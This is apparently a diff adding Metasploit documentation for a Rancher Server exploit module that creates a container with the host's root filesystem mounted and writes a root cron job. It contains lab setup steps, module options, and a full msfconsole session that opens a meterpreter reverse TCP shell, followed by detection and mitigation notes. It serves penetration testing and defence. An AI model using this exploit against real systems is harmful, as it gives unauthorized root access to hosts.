|
| 1 | +# Vulnerable Application |
| 2 | +Utilizing Rancher Server, an attacker can create a docker container |
| 3 | +with the '/' path mounted with read/write permissions on the host |
| 4 | +server that is running the docker container. As the docker container |
| 5 | +executes command as uid 0 it is honored by the host operating system |
| 6 | +allowing the attacker to edit/create files owned by root. This exploit |
| 7 | +abuses this to creates a cron job in the '/etc/cron.d/' path of the |
| 8 | +host server. |
| 9 | + |
| 10 | +The Docker image should exist on the target system or be a valid image |
| 11 | +from hub.docker.com. |
| 12 | + |
| 13 | +Use `check` with verbose mode to get a list of exploitable Rancher |
| 14 | +Hosts managed by the target system. |
| 15 | + |
| 16 | +## Rancher setup |
| 17 | +Rancher is deployed as a set of Docker containers. Running Rancher is |
| 18 | +as simple as launching two containers. One container as the management |
| 19 | +server and another container on a node as an agent. |
| 20 | + |
| 21 | +This module was tested with Debian 9 and CentOS 7 as the host operating |
| 22 | +system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with |
| 23 | +default installation. |
| 24 | + |
| 25 | +### Install Debian 9 |
| 26 | +First [install Debian 9][1] with default task selection. This includes |
| 27 | +the "*standard system utilities*". |
| 28 | + |
| 29 | +### Install Docker CE |
| 30 | +Then install a supported version of [Docker on Debian system][2]. |
| 31 | + |
| 32 | +```bash |
| 33 | +# TL;DR |
| 34 | +apt-get remove docker docker-engine |
| 35 | +apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common |
| 36 | +curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add - |
| 37 | +apt-key fingerprint 0EBFCD88 |
| 38 | +# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88. |
| 39 | +add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" |
| 40 | +apt-get update |
| 41 | +apt-get install docker-ce |
| 42 | +docker run hello-world |
| 43 | +``` |
| 44 | + |
| 45 | +### Rancher Server (Management) |
| 46 | +I recommend doing a ['Rancher Server - Single Container (NON-HA)' |
| 47 | +installation][3]. |
| 48 | + |
| 49 | +If Docker is installed, the command to start a single instance of |
| 50 | +Rancher is simple. |
| 51 | + |
| 52 | +```bash |
| 53 | +# TL;DR |
| 54 | +sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server |
| 55 | +``` |
| 56 | + |
| 57 | +If all is passing navigate to `http://[ip]:8080/`. You should see the |
| 58 | +Rancher Server UI web application. |
| 59 | + |
| 60 | +### Rancher Host (Agent) |
| 61 | + |
| 62 | +Add a [new host][4] to Rancher Server so that the Docker host can be managed. |
| 63 | + |
| 64 | +**Set Host Registration URL** |
| 65 | + |
| 66 | +The first time that you add a host, you may be required to set up the |
| 67 | +Host Registration URL. |
| 68 | + |
| 69 | +* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`) |
| 70 | +* Check if `"http://[ip]:8080/"` is set |
| 71 | +* Click on Save. |
| 72 | + |
| 73 | +**Add new host** |
| 74 | + |
| 75 | +* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`) |
| 76 | +* Click on Add Host |
| 77 | +* Copy the command from Point 5 (and remove sudo prefix) |
| 78 | + `docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX` |
| 79 | +* Paste and run the command on the host |
| 80 | + |
| 81 | +The new host should pop up on the Hosts screen within a minute. |
| 82 | + |
| 83 | +# Exploitation |
| 84 | +This module is designed to gain root access on a Rancher Host. |
| 85 | + |
| 86 | +## Options |
| 87 | +- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated. |
| 88 | +- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit. |
| 89 | +- TARGETENV this is the target Rancher Environment. The default environment is `1a5`. |
| 90 | +- TARGETHOST is the target Rancher Host. The default host is `1h1`. |
| 91 | + |
| 92 | +By default access control is disabled, but if enabled, you need API |
| 93 | +Keys with at least "restrictive" permission in the environment. |
| 94 | +See Rancher docs for [api-keys][5] and [membership-roles][6]. |
| 95 | + |
| 96 | +- HttpUsername is for your Access Key |
| 97 | +- HttpPassword is for your Secret Key |
| 98 | + |
| 99 | +Advanced Options |
| 100 | +- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`. |
| 101 | +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. |
| 102 | + |
| 103 | +## Steps to exploit with module |
| 104 | +- [ ] Start msfconsole |
| 105 | +- [ ] use exploit/linux/http/rancher_server |
| 106 | +- [ ] Set the options appropriately and set VERBOSE to true |
| 107 | +- [ ] Verify it creates a docker container and it successfully runs |
| 108 | +- [ ] After a minute a session should be opened from the agent server |
| 109 | + |
| 110 | +## Example Output |
| 111 | +``` |
| 112 | +msf > use exploit/linux/http/rancher_server |
| 113 | +msf exploit(rancher_server) > set RHOST 192.168.91.111 |
| 114 | +RHOST => 192.168.91.111 |
| 115 | +msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp |
| 116 | +PAYLOAD => linux/x64/meterpreter/reverse_tcp |
| 117 | +msf exploit(rancher_server) > set LHOST 192.168.91.1 |
| 118 | +LHOST => 192.168.91.1 |
| 119 | +msf exploit(rancher_server) > set VERBOSE true |
| 120 | +VERBOSE => true |
| 121 | +msf exploit(rancher_server) > check |
| 122 | +
|
| 123 | +[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted |
| 124 | +[*] 192.168.91.111:8080 The target is vulnerable. |
| 125 | +msf exploit(rancher_server) > exploit |
| 126 | +
|
| 127 | +[*] Started reverse TCP handler on 192.168.91.1:4444 |
| 128 | +[*] Setting container json request variables |
| 129 | +[*] Creating the docker container command |
| 130 | +[+] The docker container is created, waiting for it to deploy |
| 131 | +[*] Waiting up to 60 seconds for docker container to start |
| 132 | +[+] The docker container has stopped, now trying to remove it |
| 133 | +[+] The docker container has been removed. |
| 134 | +[*] Waiting for the cron job to run, can take up to 60 seconds |
| 135 | +[*] Sending stage (40747 bytes) to 192.168.91.111 |
| 136 | +[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200 |
| 137 | +[+] Deleted /etc/cron.d/wlHVKGMA |
| 138 | +[+] Deleted /tmp/jxKUxUyN |
| 139 | +
|
| 140 | +meterpreter > sysinfo |
| 141 | +Computer : rancher |
| 142 | +OS : Debian 9.1 (Linux 4.9.0-3-amd64) |
| 143 | +Architecture : x64 |
| 144 | +Meterpreter : x64/linux |
| 145 | +meterpreter > |
| 146 | +``` |
| 147 | +## Exploit Detection |
| 148 | +Rancher Server has an [audit log][7]. While running this module two |
| 149 | +events (create and delete) were logged. Even though the container is |
| 150 | +deleted, its still able to be viewed from the link in the audit log. |
| 151 | + |
| 152 | +## Mitigation |
| 153 | +* Do not deploy a Rancher Host on the same host where the Rancher |
| 154 | + Server is. Your entire rancher infrastructure is in [danger][8]. |
| 155 | +* Only allow trusted users to have more permissions than read-only. |
| 156 | + |
| 157 | +Docker protection such as Username Namespaces could not be applied |
| 158 | +because Rancher Agents run as a privileged container. |
| 159 | + |
| 160 | + |
| 161 | +[1]:https://www.debian.org/releases/stretch/amd64/index.html.en |
| 162 | +[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ |
| 163 | +[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha |
| 164 | +[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host |
| 165 | +[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ |
| 166 | +[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles |
| 167 | +[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/ |
| 168 | +[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control |
| 169 | +[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/ |
0 commit comments